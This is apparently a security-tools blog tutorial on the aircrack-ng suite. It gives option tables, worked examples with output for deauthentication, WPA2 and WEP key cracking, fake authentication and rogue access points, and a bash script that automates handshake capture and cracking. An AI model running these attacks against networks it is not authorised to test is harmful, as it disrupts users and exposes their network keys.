aircrack-ng: A suite for monitoring, attacking, testing, and cracking Wi-Fi networks

Aircrack-ng is the most widely known and foundational suite of tools for assessing Wi-Fi network security. First released in 2006 as a successor to the original Aircrack tool, it has grown into a complete ecosystem of command-line utilities that cover every stage of a wireless assessment: monitoring, packet capture, traffic injection, deauthentication, and cryptographic key recovery.

The suite is not a single binary but a collection of specialized tools, each handling one part of the workflow:

airmon-ng – Enables and manages monitor mode on wireless interfaces, and detects/kills interfering processes.
airodump-ng – Captures raw 802.11 frames, displays nearby access points and clients, and writes capture files (.cap/.pcap) including WPA/WPA2 handshakes.
aireplay-ng – Generates and injects traffic, most commonly used for deauthentication attacks to force a handshake, as well as fake authentication, ARP replay, and fragmentation attacks.
aircrack-ng – The cracking engine itself; takes a capture file and a wordlist (or uses statistical attacks for WEP) to recover the encryption key.
airdecap-ng – Decrypts WEP/WPA/WPA2 capture files once the key is known.
airbase-ng – Turns a wireless card into a fake/rogue access point.
airolib-ng – Precomputes and stores Pairwise Master Keys (PMKs) for faster cracking against known SSIDs.
packetforge-ng – Creates custom encrypted packets for injection.

Aircrack-ng supports WEP and WPA/WPA2-PSK cracking, and (with limitations) can be used in workflows that touch WPA3 transition-mode networks, though WPA3-SAE itself is designed to resist offline dictionary attacks.

How to Install

Aircrack-ng comes pre-installed on Kali Linux. To verify or reinstall it:

# Check if already installed
aircrack-ng --version

# Update package lists and install/reinstall
sudo apt update
sudo apt install aircrack-ng -y

Expected output when checking the version:

$ aircrack-ng --version

  Aircrack-ng 1.7 

  Build: SVN-r4XXX
  OpenSSL link: 3.0.11
  GCrypt link: false
  Regular expression support: yes
  GPU cracking support: PMKID: false, WPA: false, JtR: false, GPUmon: false
  Distributed cracking (dynamic engine) support: no
  Compiled with the multithreading library. Number of available CPUs: 4

  This program is distributed under the GPLv2

Compiling from source (for the latest development version):

sudo apt install build-essential autoconf automake libtool pkg-config \
  libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev \
  libpcap-dev libsqlite3-dev libpcre2-dev libhwloc-dev libcmocka-dev \
  hostapd wpasupplicant tcpdump screen iw usbutils expect -y

git clone https://github.com/aircrack-ng/aircrack-ng.git
cd aircrack-ng
autoreconf -i
./configure --with-experimental
make
sudo make install
sudo ldconfig

Syntax

Each component has its own syntax:

airmon-ng <check|check kill|start|stop> <interface> [channel]
airodump-ng [options] <interface>
aireplay-ng [options] <replay interface>
aircrack-ng [options] <capture file(s)>
airbase-ng [options] <interface>
airdecap-ng [options] <capture file>
airolib-ng <database> [options]
packetforge-ng <mode> [options]

All Command-Line Options

airmon-ng

Option	Description
`check`	List processes that may interfere with monitor mode
`check kill`	Kill interfering processes (NetworkManager, wpa_supplicant, etc.)
`start <if> [chan]`	Enable monitor mode on interface, optionally on a fixed channel
`stop <if>`	Disable monitor mode, return to managed mode

airodump-ng

Option	Description
`-w, --write <prefix>`	Prefix for output capture files
`-c, --channel <ch>`	Capture on specific channel(s), e.g. `-c 1,6,11`
`--band <abg>`	Select band: a (5GHz), b/g (2.4GHz)
`-bssid <mac>`	Filter captures for a single BSSID
`--essid <name>`	Filter by network name
`-a`	Filter unassociated clients only
`--output-format <fmt>`	Output format: pcap, ivs, csv, gps, kismet, netxml
`--wps`	Display WPS information in the AP list
`-d, --uptime`	Display AP uptime estimation
`-M`	Enable MAC address filtering
`-N <essid>`	Show only networks matching ESSID
`-i, --ignore-negative-one`	Fix “fixed channel -1” bug on some drivers
`-K <count>`	Stop after capturing count seconds/packets

aireplay-ng

Option	Description
`-0 <count>`	Deauthentication attack; 0 = continuous
`-1 <delay>`	Fake authentication with AP
`-2`	Interactive packet replay
`-3`	ARP request replay attack (generates IVs for WEP)
`-4`	KoreK chopchop attack (WEP)
`-5`	Fragmentation attack (WEP)
`-6`	Cafe-latte attack
`-7`	Client-oriented fragmentation attack
`-9`	Injection test
`-a <bssid>`	Set target access point MAC
`-c <client mac>`	Set target client MAC
`-e <essid>`	Target network name
`-h <mac>`	Set source (attacker) MAC address
`-x <pps>`	Packets per second to send
`-D`	Disable AP detection (force injection)

aircrack-ng

Option	Description
`-w <wordlist>`	Wordlist(s) for dictionary attack, comma-separated or `-` for stdin
`-b <bssid>`	Target a specific BSSID within capture file
`-e <essid>`	Target a specific network name
`-a <1\|2\|3>`	Attack mode: 1=WEP, 2=WPA/WPA2, 3=WPA3-SAE (experimental)
`-p <n>`	Number of CPU threads to use
`-q`	Quiet mode, less output
`-l <file>`	Write recovered key to file
`-n <bits>`	WEP key length (64/128/152/256)
`-K`	Use only old KoreK attacks for WEP (not PTW)
`-x/-x0/-x1`	Disable/enable bruteforce for last WEP key bytes
`-y`	Experimental single bruteforce attack for WEP
`-S`	Test WPA cracking speed only
`-j <file>`	Create Hashcat-capture file
`-J <file>`	Create Hashcat v3+ compatible file

airbase-ng

Option	Description
`-e <essid>`	ESSID to broadcast for the fake AP
`-c <channel>`	Channel to broadcast on
`-P`	Respond to all probe requests (honeypot mode)
`-C <sec>`	Enable beaconing of probed ESSIDs every `sec` seconds
`-L`	Enable LEAP-style rogue AP mode
`-z <type>`	WPA encryption type for fake AP

Basic Usage (Expected Output in Bash)

Step 1 — Check the wireless interface and put it into monitor mode:

$ sudo airmon-ng

PHY     Interface       Driver          Chipset

phy0    wlan0           ath9k_htc       Qualcomm Atheros AR9271

$ sudo airmon-ng check kill

Killing these processes:

    PID Name
    891 wpa_supplicant
    905 NetworkManager

$ sudo airmon-ng start wlan0

PHY     Interface       Driver          Chipset

phy0    wlan0           ath9k_htc       Qualcomm Atheros AR9271

                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)

Step 2 — Scan for nearby networks:

$ sudo airodump-ng wlan0mon

 CH  9 ][ Elapsed: 12 s ][ 2026-07-19 10:14

 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC  CIPHER AUTH ESSID

 AA:BB:CC:DD:EE:01  -42       48        3    0   6   130   WPA2 CCMP   PSK  HomeLab_5G
 AA:BB:CC:DD:EE:02  -61       31        0    0  11    54   WPA2 CCMP   PSK  Office_Guest

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 AA:BB:CC:DD:EE:01  11:22:33:44:55:66  -50    0 - 1      0        4

6. Practical Examples with Output

Example 1: Targeted capture on a single AP/channel

$ sudo airodump-ng --bssid AA:BB:CC:DD:EE:01 -c 6 -w handshake wlan0mon

 CH  6 ][ Elapsed: 30 s ][ 2026-07-19 10:16 ][ WPA handshake: AA:BB:CC:DD:EE:01

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC  CIPHER AUTH ESSID

 AA:BB:CC:DD:EE:01  -40 100      112       15    2   6   130   WPA2 CCMP   PSK  HomeLab_5G

Example 2: Deauthentication attack to force a handshake

$ sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:01 -c 11:22:33:44:55:66 wlan0mon

10:17:02  Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE:01) on channel 6
10:17:02  Sending 64 directed DeAuth (code 7). STMAC: [11:22:33:44:55:66] [22|64 ACKs]
10:17:03  Sending 64 directed DeAuth (code 7). STMAC: [11:22:33:44:55:66] [30|64 ACKs]

Example 3: Confirming captured handshake

 CH  6 ][ Elapsed: 45 s ][ 2026-07-19 10:17 ][ WPA handshake: AA:BB:CC:DD:EE:01

Example 4: Cracking WPA2 with a wordlist

$ aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:01 handshake-01.cap

                               Aircrack-ng 1.7

      [00:01:22] 148213/9822764 keys tested (1810.22 k/s)

      Time left: 1 hour, 30 minutes, 12 seconds                  1.51%

                          KEY FOUND! [ mylabpassword123 ]

      Master Key     : CD 69 4F 3B 21 ...
      Transient Key  : 8A 1F 33 09 ...
      EAPOL HMAC     : 4C 7A 92 D1 ...

Example 5: Fake authentication to an AP

$ sudo aireplay-ng -1 0 -e HomeLab_5G -a AA:BB:CC:DD:EE:01 -h 00:11:22:33:44:55 wlan0mon

10:20:11  Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE:01) on channel 6
10:20:11  Sending Authentication Request (Open System) [ACK]
10:20:11  Authentication successful
10:20:11  Sending Association Request [ACK]
10:20:11  Association successful :-) (AID: 1)

Example 6: ARP replay attack for WEP IV generation

$ sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:03 -h 00:11:22:33:44:55 wlan0mon

Saving ARP requests in replay_arp-0719-102233.cap
You should also start airodump-ng to capture replies.
Read 3811 packets (got 812 ARP requests and 690 ACKs), sent 1998 packets...

Example 7: Cracking WEP

$ aircrack-ng wep-capture-01.cap

                               Aircrack-ng 1.7

      [00:00:04] Tested 842 keys (got 41235 IVs)

   KB    depth   byte(vote)
    0    0/  1   AB(43584) 12(35120) 5C(31088) ...
    1    0/  2   CD(41120) 88(30012) ...

                          KEY FOUND! [ AB:CD:12:34:56 ]
        Decrypted correctly: 100%

Example 8: Creating a rogue AP with airbase-ng

$ sudo airbase-ng -e "Free_WiFi_Lab" -c 6 wlan0mon

10:25:40  Created tap interface at0
10:25:40  Trying to set MTU on at0 to 1500
10:25:40  Access Point with BSSID 00:C0:CA:XX:XX:XX started.

Example 9: Converting capture to Hashcat format

$ aircrack-ng handshake-01.cap -J handshake_hashcat

Opening handshake-01.cap
Read 3421 packets.
1 potentially valid WPA handshakes found.
Writing 1 WPA Handshake to 'handshake_hashcat.hccapx'... Done.

Example 10: Precomputing PMKs with airolib-ng

$ airolib-ng labdb --import essid HomeLab_5G
Database <labdb> was successfully upgraded to version 4.
Creating ESSID 'HomeLab_5G'

$ airolib-ng labdb --import passwd /usr/share/wordlists/rockyou.txt
Read 14344391 lines, writing 14344391 words...

Common Use Cases

Baseline reconnaissance: discovering all wireless networks and clients in range before an engagement.
WPA/WPA2 handshake capture and offline cracking against weak pre-shared keys.
Forcing reconnection via deauthentication to capture a fresh handshake or PMKID.
Legacy WEP auditing on older infrastructure still using deprecated encryption.
Rogue AP / evil twin testing to assess client behavior against untrusted networks.
Injection capability testing of wireless adapters before an engagement.
Building precomputed hash databases (airolib-ng) to accelerate cracking against a known SSID across multiple engagements.

Automation with Bash

The following script automates monitor mode setup, target scanning, handshake capture, and cracking:

#!/bin/bash
# auto_aircrack.sh - Automated WPA2 handshake capture & crack
# Usage: sudo ./auto_aircrack.sh <interface> <BSSID> <channel> <wordlist>

set -e

IFACE=$1
BSSID=$2
CHANNEL=$3
WORDLIST=$4
CAPDIR="./captures_$(date +%Y%m%d_%H%M%S)"

if [[ -z "$IFACE" || -z "$BSSID" || -z "$CHANNEL" || -z "$WORDLIST" ]]; then
    echo "Usage: sudo $0 <interface> <BSSID> <channel> <wordlist>"
    exit 1
fi

mkdir -p "$CAPDIR"

echo "[*] Killing interfering processes..."
airmon-ng check kill

echo "[*] Enabling monitor mode on $IFACE..."
airmon-ng start "$IFACE"
MONIF="${IFACE}mon"

echo "[*] Starting capture on channel $CHANNEL..."
airodump-ng --bssid "$BSSID" -c "$CHANNEL" -w "$CAPDIR/capture" "$MONIF" &
DUMP_PID=$!

sleep 5
echo "[*] Sending deauth to force handshake..."
aireplay-ng -0 10 -a "$BSSID" "$MONIF"

echo "[*] Waiting for handshake capture (30s)..."
sleep 30
kill $DUMP_PID 2>/dev/null || true

CAPFILE=$(ls "$CAPDIR"/capture-01.cap 2>/dev/null)
if [[ -z "$CAPFILE" ]]; then
    echo "[!] No capture file found."
    exit 1
fi

echo "[*] Attempting crack with wordlist $WORDLIST..."
aircrack-ng -w "$WORDLIST" -b "$BSSID" "$CAPFILE" | tee "$CAPDIR/crack_result.txt"

echo "[*] Restoring interface to managed mode..."
airmon-ng stop "$MONIF"
service NetworkManager start

echo "[*] Done. Results saved in $CAPDIR/"

Run it:

sudo chmod +x auto_aircrack.sh
sudo ./auto_aircrack.sh wlan0 AA:BB:CC:DD:EE:01 6 /usr/share/wordlists/rockyou.txt

Tips and Best Practices

Always run airmon-ng check kill before starting monitor mode to prevent NetworkManager from resetting the interface mid-capture.
Lock airodump-ng to a single channel (-c) once you’ve identified your target — this dramatically increases capture reliability compared to channel-hopping.
Save captures in .cap format (not .ivs) if you plan to later convert them for Hashcat/John — .ivs discards data needed for WPA cracking.
Prefer capturing the PMKID (via a clientless attack, see hcxdumptool) over deauth-based handshake capture when possible — it’s faster and doesn’t require a connected client.
Use -p <n> in aircrack-ng to match your CPU thread count for faster dictionary attacks.
Verify a “captured” handshake actually contains all 4 EAPOL frames before spending hours cracking it — a partial handshake cannot be cracked.
Keep your adapter’s firmware and drivers up to date; injection reliability varies significantly across chipsets.

Troubleshooting

Problem	Cause	Solution
`Interface doesn't support monitor mode`	Chipset/driver limitation	Use a supported adapter (Atheros, Ralink chipsets)
Fixed channel -1 error in airodump-ng	Driver quirk	Add `-i, --ignore-negative-one` flag
No handshake captured after deauth	Client not reconnecting, too far, or filtering deauth frames	Increase `-0` count, move closer, target a different client
`aircrack-ng` says “No valid WPA handshakes found”	Only 2/4 EAPOL frames captured	Re-run deauth attack, capture longer
Monitor mode interface disappears	NetworkManager reasserting control	Re-run `airmon-ng check kill`, disable NetworkManager for that interface
Injection test fails (`aireplay-ng -9`)	Adapter doesn’t support injection, or too far from AP	Try a different adapter, move closer, change channel
`airbase-ng` clients can’t get IP	No DHCP server bound to `at0`	Configure `dnsmasq`/`dhcpd` on the `at0` interface

References

Official Aircrack-ng documentation: https://www.aircrack-ng.org/documentation.html
Aircrack-ng GitHub repository: https://github.com/aircrack-ng/aircrack-ng
Aircrack-ng Wiki (tool-by-tool guides): https://wiki.aircrack-ng.org/
Kali Linux Tools listing: https://www.kali.org/tools/aircrack-ng/

Trending Top-Read Articles

Nmap Cheat Sheet: Complete Guide to Network Scanning Commands and Options

Nmap Port Scanning Techniques: TCP SYN, Connect, UDP, ACK, FIN, and XMAS Scans Explained

Nmap Host Discovery: Ping Sweeps, ARP Scans, and Finding Live Hosts on a Network

Trending Tags

aircrack-ng: A suite for monitoring, attacking, testing, and cracking Wi-Fi networks

How to Install

Syntax

All Command-Line Options

airmon-ng

airodump-ng

aireplay-ng

aircrack-ng

airbase-ng

Basic Usage (Expected Output in Bash)

6. Practical Examples with Output

Common Use Cases

Automation with Bash

Tips and Best Practices

Troubleshooting

References

Like this:

Leave a ReplyCancel reply

Previous Post

spooftooph: Bluetooth hacking tool for sniffing, spoofing, and cracking Bluetooth devices

Next Post

kismet: A wireless network detector, sniffer, and intrusion detection system

aircrack-ng: A suite for monitoring, attacking, testing, and cracking Wi-Fi networks

How to Install

Syntax

All Command-Line Options

airmon-ng

airodump-ng

aireplay-ng

aircrack-ng

airbase-ng

Basic Usage (Expected Output in Bash)

6. Practical Examples with Output

Common Use Cases

Automation with Bash

Tips and Best Practices

Troubleshooting

References

Like this:

Leave a ReplyCancel reply

Previous Post

Next Post

Related Posts